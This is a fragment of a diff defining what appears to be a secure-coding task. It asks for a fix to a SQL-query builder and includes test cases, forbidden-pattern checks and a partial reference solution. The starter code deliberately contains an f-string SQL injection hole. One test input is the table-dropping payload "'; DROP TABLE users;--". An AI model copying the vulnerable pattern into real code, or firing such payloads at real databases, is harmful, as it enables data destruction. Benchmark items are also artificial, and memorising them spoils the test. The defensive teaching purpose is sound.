| 89 |
|
| 90 |
if not username:
|
|
|
|
| 18 |
|
| 19 |
REQUIREMENTS:
|
| 20 |
- Returns a tuple: (query_string, params_tuple)
|
| 21 |
+
- query_string MUST use placeholders (%s or ?) — NEVER f-strings or .format() or %
|
| 22 |
+
- params_tuple must contain the sanitized values
|
| 23 |
+
- Must validate role is EXACTLY one of: 'admin', 'user', 'moderator' — raise ValueError for anything else
|
| 24 |
+
- Must handle None/empty username (return empty result query with empty params)
|
| 25 |
+
- The function must include type hints and a docstring
|
| 26 |
+
|
| 27 |
+
SECURITY: Never construct SQL by concatenating or formatting user input.
|
| 28 |
+
NEVER: f"SELECT ... {username}", "SELECT ..." + username, "..." % username
|
|
|
|
|
|
|
|
|
|
|
|
|
| 29 |
""",
|
| 30 |
|
| 31 |
"starter_code": '''def build_user_query(username: str, role: str):
|
| 32 |
+
# BUG: SQL injection vulnerability!
|
| 33 |
query = f"SELECT * FROM users WHERE username = \'{username}\' AND role = \'{role}\'"
|
| 34 |
return query
|
| 35 |
''',
|
| 36 |
|
| 37 |
"test_cases": [
|
| 38 |
+
{
|
| 39 |
+
"fn": "build_user_query",
|
| 40 |
+
"input": ["alice", "admin"],
|
| 41 |
+
"expected_type": "tuple",
|
| 42 |
+
"expected_len": 2,
|
| 43 |
+
"description": "Returns 2-tuple (query, params)"
|
| 44 |
+
},
|
| 45 |
+
{
|
| 46 |
+
"fn": "build_user_query",
|
| 47 |
+
"input": ["bob", "user"],
|
| 48 |
+
"expected_type": "tuple",
|
| 49 |
+
"description": "Valid user role"
|
| 50 |
+
},
|
| 51 |
+
{
|
| 52 |
+
"fn": "build_user_query",
|
| 53 |
+
"input": ["alice", "moderator"],
|
| 54 |
+
"expected_type": "tuple",
|
| 55 |
+
"description": "Valid moderator role"
|
| 56 |
+
},
|
| 57 |
+
{
|
| 58 |
+
"fn": "build_user_query",
|
| 59 |
+
"input": ["alice", "superadmin"],
|
| 60 |
+
"expected_exception": "ValueError",
|
| 61 |
+
"description": "Invalid role 'superadmin' raises ValueError"
|
| 62 |
+
},
|
| 63 |
+
{
|
| 64 |
+
"fn": "build_user_query",
|
| 65 |
+
"input": ["alice", "ADMIN"],
|
| 66 |
+
"expected_exception": "ValueError",
|
| 67 |
+
"description": "Case-sensitive role check — 'ADMIN' is invalid"
|
| 68 |
+
},
|
| 69 |
+
{
|
| 70 |
+
"fn": "build_user_query",
|
| 71 |
+
"input": ["alice", ""],
|
| 72 |
+
"expected_exception": "ValueError",
|
| 73 |
+
"description": "Empty role raises ValueError"
|
| 74 |
+
},
|
| 75 |
+
{
|
| 76 |
+
"fn": "build_user_query",
|
| 77 |
+
"input": ["", "admin"],
|
| 78 |
+
"expected_type": "tuple",
|
| 79 |
+
"description": "Empty username returns safe query (not error)"
|
| 80 |
+
},
|
| 81 |
+
{
|
| 82 |
+
"fn": "build_user_query",
|
| 83 |
+
"input": ["'; DROP TABLE users;--", "admin"],
|
| 84 |
+
"expected_type": "tuple",
|
| 85 |
+
"sql_injection_check": True,
|
| 86 |
+
"description": "SQL injection payload in username must be parameterized"
|
| 87 |
+
},
|
| 88 |
],
|
| 89 |
|
| 90 |
"attack_type": "injection",
|
| 91 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 92 |
"security_checks": [
|
| 93 |
+
{"type": "no_string_format_sql",
|
| 94 |
+
"forbidden": ["f\"SELECT", "f'SELECT", ".format(", "% (user", "% (role"],
|
| 95 |
+
"message": "f-string/format SQL injection"},
|
| 96 |
+
{"type": "role_validation",
|
| 97 |
+
"required": ["ALLOWED_ROLES", "allowed_roles", "not in", "ValueError"],
|
| 98 |
+
"message": "Role validation not implemented"},
|
| 99 |
],
|
| 100 |
|
| 101 |
"naive_code": '''def build_user_query(username: str, role: str):
|
|
|
|
| 118 |
Raises:
|
| 119 |
ValueError: If role is not in the allowed set
|
| 120 |
"""
|
| 121 |
+
if not role or role not in ALLOWED_ROLES:
|
| 122 |
raise ValueError(f"Invalid role: {role!r}. Must be one of {ALLOWED_ROLES}")
|
| 123 |
|
| 124 |
if not username:
|